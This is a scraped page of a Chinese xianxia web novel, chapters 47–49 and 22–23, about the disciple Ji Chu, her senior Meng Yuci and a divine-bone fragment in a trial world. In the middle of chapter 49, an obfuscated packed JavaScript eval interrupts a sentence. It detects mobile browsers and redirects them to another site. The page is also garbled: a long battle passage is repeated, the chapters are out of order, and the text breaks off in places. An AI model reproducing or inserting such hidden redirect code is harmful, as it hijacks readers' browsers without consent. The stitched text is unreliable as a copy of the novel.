细小的破碎声像压倒骆驼的最后一根稻草,蒋成旭支撑不住,神魂开始被拉扯着强行脱离这个小世界。 他用尽全力将许盈身上的触手砍断: “别管我了,快去帮她!” 许盈看他一眼,果断持剑砍向困住纪楚的“水墙”。 天边开始泛起鱼肚白。 阵外,孟喻辞站立不动,晨光在他身上洒了一层蓝白相间的光。 这个小世界的邪气已经浅到几乎没有。但阵中却逐渐膨胀起更大更浓的邪物。 或许,纪楚还是赌输了。 他袖口微动,少微剑离鞘而出。 剑刃在惨白的天光下显得森冷锐利。 幸而这只是个小世界。 哪怕最终还是免不了一场杀戮,这些人依然可以平平安安回到拂宇仙宗。 比起当初的巫觋族,已经好了太多了。 而他也已经犹豫太久,是时候动手了。 孟喻辞看向少微剑,神色冷而漠然。 忽然,从地底传来一声巨大的炸响。 地煞锁魂阵爆发出剧烈的颤动,整个地面都在抖动,仿佛有什么可怖的东西快要破土而出。 但是又被人强行拉住了。 纪楚的剑承受不了神骨的力量,自剑尖处开始出现裂痕。 被“水球”包裹住的同时,她发现包裹着神骨的黑色外壳开始碎裂,里面那白光如同是非不分的混蛋,竟主动朝着邪物靠近。 凭什么? 神骨怎么可以在修士和邪物中间,选择邪物呢? 她惊诧,愤怒,眼看着邪物在神骨的附着下一点点膨胀变大,将许盈和快要脱离小世界的蒋成旭一起笼罩在里面。 愤怒和不甘占据了大脑,她想也不想,一把拽住了那道白光。 ——神骨碎片被她牢牢攥在手心,惊慌失措地跳动。 “比起完整的神骨,你还差的远呢。” 纪楚低声道: “上一个想和神骨融合的魔,被我一剑劈了。你以为,你能得逞吗?” 她一用力,将神骨重重拉了下来,塞进了自己手里的剑。 而后长剑横扫,剑光划过,水墙如漏气的球,“噗嗤”一声瘪了下去。 长剑开始碎裂。 纪楚并未停手。 灵力灌注到剑身的每一寸位置,哪怕碎裂,依然是剑,甚至是无数块由她灵力所控制的剑刃,如漫天坠落的星子,纷纷扬扬炸进邪物全身,将其彻底搅碎成渣。 清爽纯净的气息自地面吹进阵中,吹散了这里经年不散的潮湿和粘腻的空气。 天彻底亮了。 雷声轰鸣,像是从头顶传来,又像是在很远之外的天边。 纪楚看向自己手中断得只剩剑柄的剑发了会儿呆,直到感觉有冰凉的雨滴落在她头上,才后知后觉地意识到—— 这天雷,好像是来劈她的! 48. 第 48 章 空气仿佛都停滞了片刻。 他的动作才刚一停,纪楚就以为是治好了,果断抬手将他的胳膊扒拉下来,然后按了按自己头上肿包的地方。 发现已经摸不到肿块了,她一脸欣喜: “师兄你真是太厉害了!” 凝结的空气再度流动起来。 孟喻辞神色平静地收回手,缓缓站起身,脸上看不出情绪。 纪楚一边说着“谢谢师兄”,一边没心没肺地冲他伸出手,示意他拉她起来。 孟喻辞垂眸看她几息,伸出手。 纪楚一爪子搭了上来,被他轻轻一拉,就从地上跳了起来。 见师兄垂眸瞧着她,似乎在等她说话。 纪楚思考了一下,恍然大悟,举起手里的球问他: “师兄你快告诉我,这是不是就是地煞锁魂阵的压阵宝物?” 孟喻辞说不上自己是什么心情,只道: “……是。” “太好了!” 纪楚闻言欢呼起来,胜利在望的兴奋让她将一切烦恼都抛在了脑后,迫不及待地和师兄分享她找到这宝物的容易: “……师兄你都不知道!压阵宝物竟然一直在我身上挂着!要不是被姓薛那个混蛋偷走了,我压根都想不到,答案竟然一开始就在我手里!” 纪楚说到激动处,心里的兴奋难以释放,于是又两手捧着球上下摇了摇,把中间的光球又揺出了残影。 孟喻辞看得眉头一跳。 但见那光球在纪楚手里毫无作为,像是被猫玩弄的逗猫棒,他又微不可查地舒了口气。 地煞锁魂阵的压镇之宝确实是纪楚拼出来的这个黑球。 自赵府老爷将压镇之宝挖走后,地下的邪祟便没了辖制,四处害人。 其中最大的邪物吞噬了压阵宝物中的“核”,力量扩张,逐渐将其他所有的邪祟吞噬并融为己身,渐渐的,连偶然飘过的残魂也不放过。 而压阵宝物的“核”…… 孟喻辞看向纪楚捧着的球。 黑色是纪楚拼出来的“外壳”,白色的光球,则是让地煞锁魂阵得以运行的根本核心,也是害的此间人心生恶、“魆”鬼遍地的根源。 ——神骨碎片。 孟喻辞见纪楚玩够了,这才开口: “你打算怎么处理它?” 纪楚道:“当然是放回阵心,镇压邪祟,还这个小世界太平。” “可那样,你和你的朋友,都会被当做邪祟除去。” 见纪楚不说话,孟喻辞又道: “况且此物特殊,不适合留在这里。” “那邪祟怎么办?地煞锁魂阵怎么办?” 纪楚不解: “这本来就是地煞锁魂阵的压阵之物,放回原位有何不可?” “我们会不会一并被除去不重要,重要的是你。” 她拿着黑球朝后退了两步,一脸警惕: “师兄,你先前二话不说就跳进邪物里,就是为了找这个东西吧?” 孟喻辞:“是,所以你可否将它交给我来处理。” “不能。” 纪楚断然否决: “师兄先是隐藏身份淘汰我们,而后又要来抢压阵之物,根本不是来帮我们或者监督比试的……” 她神情凝重: “你到底是来做什么的?” 孟喻辞看着她。 纪楚应当早就怀疑他的目的,憋到这个时候才问他,可见是准备好要和他翻脸了。 他不想对纪楚动手,于是道: “我从未想要阻拦你赢得比赛,先前所说也并非看不起你。这个小世界被人动过手脚,已经不是简单的问仙大会比试了。” 纪楚皱眉。 孟喻辞继续说: “你不是想知道,我来做什么吗?我奉命来此,就是为了取走此物。” 纪楚听见他说: “这是神骨碎片。” “神骨又如何?” 她先是下意识反驳,随即反应过来,猛得睁大眼睛,看向手里捧着的球: “这是神骨?!” 修真界奉为至宝的神族遗骨,原本的问仙大会前三可以得到的荣耀,前世害死许盈,害死蒋成旭,害死陈梧,也害的她被人怀疑最终惨死的神骨,竟然就这样出现在了她手中?! 将纪楚的惊诧尽收眼底,孟喻辞颔首道: “虽然只是一份碎片,却仍有神骨之效。留在这里,一旦被邪祟利用,只会后患无穷,这些魆和邪物,便是证据。” 纪楚隐约觉得奇怪。 神骨是神物,为何不能彻底铲除邪物,反而会被邪祟利用,害的这个小世界邪气横行呢? 神族遗骨,这么容易被利用吗? 但这念头只是一闪而过,她看向手里的球,思索片刻,仍坚持道: “我不能给你,天快要亮了,如果不能将压阵之宝放回去,许盈和蒋成旭随时都可能会被淘汰,这么多天的努力就全白费了,而且我……” 她想到了被她塞在荷包里的玉书牌,咬了咬唇,没有继续说下去,只道: “我得去找许盈和蒋成旭。” 她毫不犹豫地拔出剑,做好了应战的准备,哪怕知道自己绝对不可能打得过师兄。 但前世遭遇教会给她一个道理: 无论是多信任亲近的人,在正邪立场面前,随时都有可能痛下杀手。 师兄可以,她也可以。 她也可以。 孟喻辞目光扫过她手中长剑。 前一刻还是师兄师妹亲密无间,下一刻她却能立即拔剑以对…… 他先前怎么没发现,纪楚是这么个狠的下心的性子…… 他将她敌视警惕的眼神看在眼里,只觉得宛如针扎一般刺眼。 此时此刻,孟喻辞无比清晰地意识到,自己无法忍受纪楚这样的对待。 他享受纪楚的亲近和信任,他享受她的依赖,并且希望她能一直依赖一直信任自己。 一旦出现这种立场相背的时刻,他甚至会萌生出一种“哪怕放弃一切原则妥协,也不能让纪楚伤心”的念头,他为自己这个念头吓了一跳。 ——可纪楚却丝毫不肯相信他。 孟喻辞缓缓垂下眸子,压下心头那股窒息感,侧身让出路来。 “你若想去,那就去吧。天亮之前,我不会阻止你。” “只一点,除了你,不许任何人接触神骨。” 纪楚没想到他竟然直接就这么让她走了,有些不敢相信地看着他。 孟喻辞避开她的视线。 ——她眼里的怀疑也让他觉得刺眼。 纪楚见他确实没有动手的意思,果断抱着球从他让开的地方跑了出去。 头也不回,怕他反悔。 孟喻辞静静伫立片刻,忽的自嘲一笑,觉得自己或许是疯了。 从什么时候开始,他竟然这么在意纪楚对他的看法。 难道是因为师兄的身份、师尊的托付,又或者是因为自己的空羽浮花在她身上,他还没有找到原因,却仍不自觉被其牵绊,所以才会被这么一点小事牵动心神吗? 在这个世界上,有谁天生就该信任谁,有谁天生就该依赖谁呢? 他为什么会对纪楚生出这样的贪求? 他疲惫地闭上眼睛,纪楚离开,他的世界再度变得安静。 其实他的世界原本就是这样寂静无人,只因着纪楚悬鹤峰上那突然的一砸,砸碎了结界,也砸碎了他眼前的黑暗和沉寂,他食髓知味,如今竟然开始不适应了。 或许,他是时候,将自己这些凌乱的情绪整理好了。 “哒哒哒”的脚步声去而复返。 孟喻辞长睫轻颤,纵使知道不该任由自己沉沦下去,却还是忍不住睁开眼睛,发现跑远的纪楚竟然又回来了。 纪楚原本是想着赶紧找到许盈和蒋成旭的。 但她刚跑出去没多远,又忍不住反复回想师兄说话时的神情。 他似乎没有打算对她动手。 饶是下定决心要和前世的师兄一样干脆果决,但这些日子的相处不是作伪。 师兄外冷内热,对她无求不应,更没有做过伤害她的事情。 如果神骨碎片真的不能留在这里 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但是师兄的语气实在太过平静包容,简直像是在鼓励她继续说下去似的。 于是她到底还是胆气横生,继续说了下去: “我不是在质疑宗门。但是从我们到这个小世界开始,所有的任务都是由玉书牌下发的,人和魆的判定,也是由玉书牌来完成的。” “可是……” 不说还好,一说她就有些生气: “可是这个身份根本什么用都没有,只是让我们战战兢兢、自相残杀。” “我不相信宗门会用这种方式考验我们的心性,也不相信一块玉书牌就能判定我心性是否有变,这根本就是张机设阱,给我们下套!” “……” 一阵沉默。 纪楚说完才觉得自己着实有点冲动了。 不知怎的,面对着师兄时,她总是有种“有人撑腰”的感觉,忍不住暴露自己的真实想法。 前世也是如此,她在旁人面前努力伪装,却总忍不住在师兄面前暴露最不堪的一面。 虽然师兄也甚少阻止她吧…… 反正不管怎么样,说都说了,她不后悔,毕竟她确实就是这么想的。 哪怕师兄因为她说实话冲她发火,她也只会觉得是师兄“盲目偏信”,她绝对不会觉得自己错了! 孟喻辞看着她义愤填膺的神情,双目如燃烧的火焰一般明亮,先前被她不信任和敌视时的那种让他窒息的感觉又消失不见了。 这些话,她应该憋在心里很久了吧。 从看到蒋成旭和许盈一个个什么也没做就变成“魆”开始,再到自己被幻象困住,玉书牌开始发生变化,她应该一直都不服气吧。 但是她太弱小了,纵使心有不甘,却还是无力反抗,只能憋着一肚子火强行忍着。 一边气鼓鼓地跟着规则前行,一边从未放弃寻找冲出去的办法。 如今,怎么就在他面前通通说了出来呢? 他看着纪楚,目光一寸寸扫过她的脸,最后落到她因愤怒和紧张而变得格外明亮张扬的眸子上。 他忍不住想到悬鹤峰那天,她也是这样,带着满身朝阳光环骤然现身,打破了神骨恶念围困他的结界。 那是他永远忘不掉的一线天光。 望着那双黑曜石般闪耀的稀世珍宝,孟喻辞情不自禁微笑起来,轻声祝祷: “纪楚,快点变强吧。” 如果你真的是特别的。 那就快点变强吧。 ——强到可以将神骨的阴谋打破。 纪楚已经做好了被他喝斥的准备,没想到竟然听见了这么一句话。 她疑心自己听错了,诧异地“欸”了一声,随即又看到了师兄的这个笑容。 该怎么形容这一瞬间她的感受呢? 简直是荒漠落雨,寒冰生花,恍如一池春水泛起涟漪,清浅似云雾般飘渺难寻。 师兄他,好像很高兴。 49. 第 49 章 纪楚愣神间,师兄忽然朝她走了过来。 她顿时紧张起来。 然而孟喻辞却只是抬手,帮她顺了顺跑乱的头发。 而后他敛起笑,又恢复了淡漠神色: “除了你,不要让任何人接触到神骨。” 他又强调了一遍,似乎很是严肃。 纪楚这次精神放松不少,忍不住询问原因。 “为什么?” 她并不知道神骨会勾起人心的恶念,也不知道自己的特别。 孟喻辞不欲解释,只轻推她肩膀: “快去吧,你没有多少时间了。” “啊啊我先走了。” 纪楚猛的反应过来,等天亮了就来不及了,她于是赶忙抱着球跑了。 又只剩下孟喻辞一个人。 但这回看着纪楚的背影,他已经没了先前那种寂寥落寞的心境,反而觉得充盈宁静。 她能不能利用好这一小片神骨碎片还未可知。 但他决定给她这个机会,就得承担师尊的问责,以及失败的后果。 在那之前,就只静下心来,等待天亮吧。 * 纪楚回到了入口处,蒋成旭和许盈等在那里。 见她一个人出来,许盈立马欢呼着迎上来: “我赢了我赢了!” 反观蒋成旭则垂头丧气: “怎么还真动手了……好吧好吧,我输了。” 看样子,是在赌她会不会杀薛羡尘。 “我找到压阵之宝了。” 纪楚走过去,将抱着的球展示给他们看,一脸认真: “薛羡尘是魔,就是他偷走了压阵之宝。” 虽然有点半真半假,但是和事实差不多。 许盈和蒋成旭果然不相信。甚至许盈还拍拍纪楚的肩膀,一脸“我懂你”的表情: “没事的纪楚,他在宗门那样烦人,你忍不住动手很正常。况且这是比赛,成王败寇,就该如此!” 纪楚叹气。 她就知道没人信她。 毕竟薛羡尘在拂宇仙宗的时间比她还长,身份灵力样样正常,连生死台都上过,无凭无据的,谁会相信他是魔呢? 蒋成旭看着纪楚手里的球,问道: “这真的是压镇之宝吗?我看着它,总觉得有点说不上来的……” “奇怪是吧,我也有点。” 许盈点头: “这感觉就像是空口吃了整整一锅炒鸡心,虽然好吃吧,但是却有点腻;虽然腻吧,但是还有点想吃……” 她说着说着,就忍不住想要伸手去碰。 “别!” 纪楚赶忙拦住她:“别碰这个!” “哦……哦。” 许盈点头,解释道: “不好意思,我看着这东西,就有点控制不住我自己……” 蒋成旭也有点被神骨控制,勉强稳住心神,问道: “纪楚,你拿着它,没有感觉不对劲吗?” “没有啊,你们这是……不舒服吗?” 纪楚忽然想到,师兄见她醒来后震惊的神情,以及“不要让别人接触神骨”的告诫。 难道只有她能碰到神骨? 先前梦见的猴子说的“特殊之人”,以及在藏书阁看到的书上的内容再次浮现在她脑海。 不会吧…… 难道她真的不一般? 这个想法也太自信太中二了吧! 纪楚揉了揉自己脸,避免陷入中二主义陷阱。 然后她又想起来,前世她试图从薛羡尘身上把神骨挖出来,当时已经摸到了骨头,然后她就看见了“金色眼睛”,这次好像也是…… 总不会这两件事中间,有什么关联吧? 不可能吧…… 赵一岩师兄见到金色眼睛后入魔,而她也差点被金色眼睛吞掉。 那金色眼睛,似乎不是什么好东西…… 怎么能和神骨扯上关系呢? “纪楚!” 一声叫喊打断了她的走神。 蒋成旭和许盈担忧地看着她: “你脸色怎么这么难看,你还好吗?” “我挺好的。” 纪楚机械地点点头。 不行不行,不能再细想了,再想下去她的头和人生观就都要爆炸了。 天快亮了,当务之急是解决掉这里的问题。 于是她稳住心神,对蒋成旭和许盈讲了师兄的话,以及她的打算。 如果压阵之宝留在这里会被邪物利用,那为什么不能在离开之前把邪物处理干净呢? 许盈和蒋成旭对纪楚十分信任,并不追究“压阵之宝”为什么这么奇怪,又为什么只有纪楚能碰,而是顺着她的思路问道: “可是怎么才能把邪物处理干净呢?如今大部分人都已经被淘汰,我们的玉书牌随时都有可能自爆,时间根本来不及,除非纪楚你……” 纪楚摇头,打断蒋成旭的话: “我不确定自己是什么。” 她拍拍腰间挂着的玉书牌: “不想看,也不重要。” 她拔出自己的剑,右手握剑,左手拿着神骨碎片,看向两人: “我想赌一次。” * 借助神骨碎片的力量,重开地煞锁魂阵,将整座城的魔物重新聚拢到这里,而后一举消灭。 听见来有点痴人说梦。 “但是好酷。” 许盈一脸的骄傲: “我辈修仙,本就是与天争,与命争,干的全是痴人说梦的事,不差这一件!” 她拍拍胸脯: “交给我!定把这些邪祟灭的干干净净!” “我也同意。” 蒋成旭说:! “但是有个问题,如何保证邪物不会在聚拢的同时,再次利用压阵之宝呢?” 纪楚低头,看向手里的神骨,低声道: “我来保证。” 纪楚并非是在说胡话。 她只是觉得,如果连邪物都能利用神骨碎片,那她作为一个能碰到神骨、且毫无副作用的修士,为什么不能呢? 假如,假如金色眼睛真的和神骨碎片有关。 那她连金色眼睛都能砍,怎么就不能驾驭得了神骨碎片呢? 她想试试。 许盈和蒋成旭十分果断,敲定了方案就立马开始行动。 三人迅速找到阵心原本放置压阵之物的位置。 纪楚将神骨放了上去。 地煞锁魂阵重新启动,四处流窜的邪物和邪气逐渐被收拢回来,无形的锁链遍布阵中,空气变得粘稠而血腥。 较为强大的邪物意识到是神骨归位,冲向阵心,企图争夺宝物。 蒋成旭和许盈同时出剑。 灵均以压山之力,剑气横扫一片,无一邪物存活。 丹雨则灵巧锐利,剑光如春风化雨,美而不妖,亦将邪物杀得片甲不留。 纪楚看似冷静,实则紧张的手心冒汗,一直关注着身边的动静。 果然,许盈和蒋成旭迎战邪物时,一层薄薄的水汽由远至近,逐渐铺到她身边的地上。 随后那水汽忽然从地面上膨胀升起,化作密不透风的水墙朝纪楚压了下来。 粘腻的触手从水墙中伸出,两根直冲纪楚面门,一根弯曲,试图卷走神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16266717|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨。 水汽中央浮现出一张朦胧的脸,裂口大张似嘴,想要吞噬神骨。 纪楚一手按住神骨,一手握剑,斜劈而下,斩落了三根触手。 触手落地化做水雾瘫在地上,随后故技重施,再次膨胀起更厚更高的水墙,几乎将纪楚彻底封死在水雾形成的壳子里。 这邪物与先前那巨大的“水球”有些相似。 从外面看来,纪楚和神骨俨然已经被“水球”吞噬,逃无可逃了。 许盈和蒋成旭已将大半邪物处理干净,剩下一些当着他们的面被触手抓走,连他们自己也被触手缠上,一时挣脱不开。 “纪楚!” 蒋成旭喊她: “天快亮了!我的玉书牌开始碎了!” 细小的破碎声像压倒骆驼的最后一根稻草,蒋成旭支撑不住,神魂开始被拉扯着强行脱离这个小世界。 他用尽全力将许盈身上的触手砍断: “别管我了,快去帮她!” 许盈看他一眼,果断持剑砍向困住纪楚的“水墙”。 天边开始泛起鱼肚白。 阵外,孟喻辞站立不动,晨光在他身上洒了一层蓝白相间的光。 这个小世界的邪气已经浅到几乎没有。但阵中却逐渐膨胀起更大更浓的邪物。 或许,纪楚还是赌输了。 他袖口微动,少微剑离鞘而出。 剑刃在惨白的天光下显得森冷锐利。 幸而这只是个小世界。 哪怕最终还是免不了一场杀戮,这些人依然可以平平安安回到拂宇仙宗。 比起当初的巫觋族,已经好了太多了。 而他也已经犹豫太久,是时候动手了。 孟喻辞看向少微剑,神色冷而漠然。 忽然,从地底传来一声巨大的炸响。 地煞锁魂阵爆发出剧烈的颤动,整个地面都在抖动,仿佛有什么可怖的东西快要破土而出。 但是又被人强行拉住了。 纪楚的剑承受不了神骨的力量,自剑尖处开始出现裂痕。 被“水球”包裹住的同时,她发现包裹着神骨的黑色外壳开始碎裂,里面那白光如同是非不分的混蛋,竟主动朝着邪物靠近。 凭什么? 神骨怎么可以在修士和邪物中间,选择邪物呢? 她惊诧,愤怒,眼看着邪物在神骨的附着下一点点膨胀变大,将许盈和快要脱离小世界的蒋成旭一起笼罩在里面。 愤怒和不甘占据了大脑,她想也不想,一把拽住了那道白光。 ——神骨碎片被她牢牢攥在手心,惊慌失措地跳动。 “比起完整的神骨,你还差的远呢。” 纪楚低声道: “上一个想和神骨融合的魔,被我一剑劈了。你以为,你能得逞吗?” 她一用力,将神骨重重拉了下来,塞进了自己手里的剑。 而后长剑横扫,剑光划过,水墙如漏气的球,“噗嗤”一声瘪了下去。 长剑开始碎裂。 纪楚并未停手。 灵力灌注到剑身的每一寸位置,哪怕碎裂,依然是剑,甚至是无数块由她灵力所控制的剑刃,如漫天坠落的星子,纷纷扬扬炸进邪物全身,将其彻底搅碎成渣。 清爽纯净的气息自地面吹进阵中,吹散了这里经年不散的潮湿和粘腻的空气。 天彻底亮了。 雷声轰鸣,像是从头顶传来,又像是在很远之外的天边。 纪楚看向自己手中断得只剩剑柄的剑发了会儿呆,直到感觉有冰凉的雨滴落在她头上,才后知后觉地意识到—— 这天雷,好像是来劈她的! 22-30 第22章 房门被人踹开的同时,记忆碎片被这阵风带动,凌乱地朝两旁漂浮散开。 满室寂静被打破,温暖气息随着那个跃进来的身影一同撞了进来,寒霜冰雪瞬间消弭无踪。 孟喻辞于无尽的空茫中缓缓抬眸,看向来人。 天青的宗门弟子服,裙摆随着她不算优雅的动作,如水波纹般层叠散开。 乌发盘成双髻,阳光在其上流转。 五官精巧,皮肤白皙,脸颊一点婴儿肥,可爱可亲。不施粉黛,容色却比二月枝头上的花苞还要娇艳动人。 满目猩红中央,乍然冒出这样一张灵动漂亮的容颜,像是在冰原孤崖上骤然长出的一株明艳灿烂的花,将这场没有尽头的绝望和杀戮悉数冲散。 只是这“花”显然很不高兴,似乎是来讨债的。 俏丽的脸颊气得通红,一双漂亮的眼睛瞪得溜圆,又黑又亮的瞳仁闪着光,愤愤定在他脸上。 “师兄!” “我砸悬鹤峰结界那天,你是不是在场?” 孟喻辞目光微颤,视线从纪楚过分明亮锐利的双眸移向她耳边凌乱坠落的发丝,低声回道: “是。” 他这回避视线的动作宛如心虚,纪楚怒意更甚: “那你假扮神秘前辈助我修复经脉,还有这些日子的帮助和关心,也是为了偿还我替你破开结界的恩情?” 孟喻辞有些意外她知道了真相,但她所说亦是他的初衷,并没有什么好遮掩的,因而坦然回道: “是。” 连续两个“是”字,听得纪楚捏紧了拳头。 她心里浮现出一股巨大的荒谬感,联想起前世师兄提及她经脉受损时的神情,只觉自己仿佛掉进了一片无边无际的深海。 她在其中茫然伸手,意外抓住了一根浮木,于是暗自欣喜,以为自己捡到了绝望之下的生机。 原来,竟是给她这种可怜虫的临终抚慰! 情绪上头,纪楚再也忍不住,双手因太过用力而颤抖,扬声质问他: “你凭什么自做主张?你凭什么这么对我?!我砸结界被反噬,那也是我活该!我本也不是为了救你,用不着你勉为其难地对我好!” 孟喻辞有些怔愣。 这是头一次,有人敢冲她大喊大叫,厉声质问。 她分明是在骂他。 他却并未感到不快,只是一时间被她骂得有些懵了,不明白她为何忽然如此作想,更不知道她怎么会忽然这么生气。 他缓缓眨了下眼睛,纤长浓密的睫毛一压一掀,带着点细微的茫然和无措,一双黑沉的眸子静静望着纪楚的脸,似在端详。 于是两人间只剩下纪楚情绪激动时的呼吸声。 她望着师兄沉默的目光,永远平静的神色,心里那份愤怒逐渐成了难以言说的疲惫。 纪楚移开视线,呼吸平缓下来,感觉整个人都变得麻木僵硬,连胳膊都不知道摆在哪里该怎么摆,几乎是撑着最后一口气问道: “那如果,如果师兄你出关的时候,发现我的经脉受损已无药可救,此生修行再难有进益,你会怎么对我?” 她的问题让孟喻辞神色一顿。 只是设想这种情况,便让他觉得心口像是压了巨石一样沉闷,再加上纪楚问出这句话时不自觉颤抖的声音,孟喻辞莫名生出一股巨大的恐慌和心痛来。 这情绪来的太过突然,仿佛是来自灵魂深处的惯性,让他一时间不敢直视纪楚脆弱的表情。 为什么?分明他及时出关,及时帮她修好了经脉,分明一切都如此顺利,他却总会生出一股“来不及了”的后怕和悔恨呢? 孟喻辞沉默片刻,用长久维持的平静竭力压下心底那份痛意,同时努力令自己的声音显得不是那么滞涩沉重,开口说出他的承诺: “如果来不及,我定以师兄身份,护你一世周全。” “……” 纪楚握紧的拳头一下子松开。 果然如此。 她在心里叹道。 前世师兄数次救她,屡屡维护,果然是为了弥补这份“来不及”。 而她傻得可怜,还以为自己撞了大运,虽然修行无果,却得了一个对她如此关切的师兄。 原来都是有代价的。 纪楚咬了咬嘴唇,克制着想哭的冲动,抬头看向师兄。 可是师兄,你非但没有护我一世周全,你还怀疑我入魔,一剑捅死了我。 她在心里说出这句话时,感觉自己的委屈快要将她活活淹死。 孟喻辞立于她面前,亲眼看到她的眼眶一点点变红,那双又黑又亮的眼睛逐渐雾气迷蒙。 下一瞬,泪水便如同花瓣上的露珠,骤然在她柔嫩的脸颊滑出一道湿痕。 “啪嗒”一声,砸在她身前的地上。 也像是砸在他心头,砸得他整个胸腔都为之一颤。 他茫然,不解,不知道自己的内心为什么会因为纪楚这滴泪水而生出波动。 而后听见纪楚用努力克制着哭腔的声音对他说: “师兄,我讨厌你。” * 纪楚照常回去练剑修行上课。 冲师兄发了一通火后,她心里虽然有几分担心“秋后算账”的忐忑,但更多的,还是一种对自己“傻的可笑”的厌恶。 师兄是高高在上的宗门首徒,掌门真人亲传弟子,整个修真界无人不晓的剑君。 她是什么? 她是个“靠脸走后门才得以修行”的“替身”。 师兄对她好,除了报答“破开结界”之恩,还能有什么呢? 真是好笑,这么显而易见的答案,她竟然活了一辈子都没能察觉。 真不知道是师兄瞒得好,还是她这样的傻子太好骗。 既然这次她的经脉已经修复好了,那她和师兄之间再无瓜葛,就该一拍两散形同陌路,她再也不会靠近师兄了! 纪楚愤愤想着,手中剑挥得冒出了火花。 来上剑法课的弟子都自觉离她远远的,薛羡尘却像是不长眼似的主动往她跟前凑: “阿楚师妹?” 纪楚挥出一剑: “滚。” 薛羡尘抬手用剑抵住她剑身,眼尾上挑斜睨她一眼,笑道: “阿楚怎的还对我如此暴躁?你去问孟喻辞了吗?” 纪楚瞪她一眼,用力打开他的剑,背过身去。 薛羡尘顺势收了剑,绕至她身旁: “看来是问过了。怎么样?我这次可没骗你,是他一直在算计你——” 纪楚转身出剑,剑尖带着冷光,正对着薛羡尘的眼睛,逼退了他走近自己的动作。 她一言不发,自剑后冷冷看着他,眼底威胁意味十足。 薛羡尘步子顿住,脸上丝毫不见惊慌,眼底的笑像是在温水中浸过一样,带着三分春意,声音柔柔: “好好,我不说就是了。” 纪楚丝毫不搭理他的调笑,长剑仍对着他,眼底杀意凛然,不似作伪。 薛羡尘脸上轻松的表情逐渐凝重起来。 他是魔,天生能感知恶意。 纪楚此刻的眼神让他感受到了莫大的威胁,仿佛她随时会一剑捅过来。 虽然不知她为何对自己有如此强的杀意,薛羡尘却还是不得不暗中蓄力,浑身肌肉紧绷,随时准备应对纪楚的忽然发难。 纪楚手腕微动,长剑划出银光。 薛羡尘下意识出手—— 纪楚却已收了剑,一脸好奇地望着他。 他挥出的拳头因而突兀地停留在半空,进也不是退也不是。 面前这娇嫩似鲜花的少女恍若未觉,一双格外灵巧漂亮的眼睛闪过狡黠的光,目光从他挥出的拳头移到他的脸上,讶然惊呼: “你竟然打我!” 她这声喊得格外清晰,一时间,所有人的目光都转了过来,连徐长老也大步走来: “发生何事?” 纪楚道:“徐长老!他比剑输了不服气,还说要打死我!” 徐长老不悦:“薛公子,胜负乃常事,若一时落败便耿耿于怀,实非剑道。” 薛羡尘:“……” 他放下手,看了纪楚一眼,正对上她笑的得意洋洋的眼睛。 亮晶晶的,像天上的星星,让人想要拿在手中日夜把玩。 让他当众丢人,就这么开心吗? 薛羡尘心里觉得奇怪。 分明被纪楚摆了一道,他却反而觉得她可爱。 见他一直盯着自己,纪楚扬起下巴瞪了他一眼,用口型做“活该”二字。 薛羡尘的目光一闪。 纪楚这张脸其实并没有那么像阿姐,尤其是她的眼睛,简直和阿姐天差地别。 一个圆而透亮,一个柔婉绰约。 想到阿姐,他便像是被人迎面泼了盆水,心里的种种念头瞬间消散。 薛羡尘收回视线,躬身冲徐长老行一礼道: “弟子受教。” 这场小骚动并没有引起过多讨论,比起上次纪楚和薛羡尘打架后直接上了生死台,这次的摩擦几乎小得微不可查。 但徐长老仍有些顾虑。 他是十分欣赏纪楚这个弟子的。 修行是个长期坚持的事情,而剑道修行总归离不开一个“苦”字,纪楚分明有天分,却总是被杂事烦扰,心思不在正事上,这让徐长老这种惜才之人简直难受得要死。 他一难受,就想找孟喻辞说道说道。 找孟喻辞告状这事几乎已经成了徐长老每节课后的日常,他熟门熟路地拦下人,张口便是些老生常谈的话术: “纪楚聪明但是不努力……” “你是师兄……” “你不急我都急啊……” 孟喻辞素来不是个好人缘的人,宗门里鲜少有人愿意同他闲聊,更遑论整日找他说些没营养的车轱辘话。 但徐长老回回下课都来,一个年纪不小的长辈,说的又全是纪楚的事,他不好阻拦,只能耐着性子听完。 总归是带孩子注定要面对的事,他答应掌门多多操心师妹的时候,早有了这般心理准备。 徐长老说的口干舌燥,见孟喻辞仍一脸漠然神色,顿时觉得自己成了“皇帝不急太监急”里头那个“太监”。 他于是自觉没趣,心道“自己孩子不操心,我一个外人急个屁”,转头抛下一句: “你懒得管就算了,今日纪楚险些被打,下次受伤了可别来找我!” “等等。” 一直“装聋作哑”的“失职家长”孟喻辞终于有了反应: “谁打她?” 第23章 下一次剑法课的时候,薛羡尘又凑到了纪楚跟前。 她正在回忆徐长老讲述的新剑法,第二招“刺”与第三招“转”总是连不起来,比划了半天仍然十分滞涩。 薛羡尘没穿素色弟子服,却换了身水红色衣衫,衬得仪表堂堂面如冠玉,活脱脱一个俊俏小公子,对纪楚道: “阿楚师妹,你这第二招使得实在别扭,可要我帮帮你?” 纪楚本想当他不存在,但他这身衣服实在太亮,宛如深夜中一个明晃晃大火炉杵在她边上,想看不见都难。 她沉着脸:“滚。” 薛羡尘反而勾起唇角,抬手按住她准备转剑的手腕: “上举一点,手太低了。” 冰凉的触感 带着不适的阴冷,甚至还有刻意的熏香气味随着他的动作飘近。 纪楚被他猝不及防这么一碰吓了一跳,顿时收剑连退两步,又用袖子使劲擦了擦手腕上被他按过的地方,活像是碰到了什么脏东西。 她这副嫌弃的态度很是不加掩饰。 薛羡尘下意识皱眉,却又很快恢复原状,眼皮一耷,转而作出一副“心碎可怜”模样: “阿楚为何如此嫌弃我?我是真心想帮你的。” 纪楚本想再送他一个“滚”字,但话到嘴边,她的目光在薛羡尘梳得齐整的发髻和一看就价值不菲的衣料上滑过,又改了主意: “你真想帮我?” 薛羡尘上前一步,笑意盈盈: “自然,我想帮阿楚之心,日月可鉴。” “站那别动。” 纪楚抬手竖在身前,阻止他靠近自己的动作,随后将剑收回剑鞘,眼里泛着冷意,又强调了一遍: “千万,别动。” * 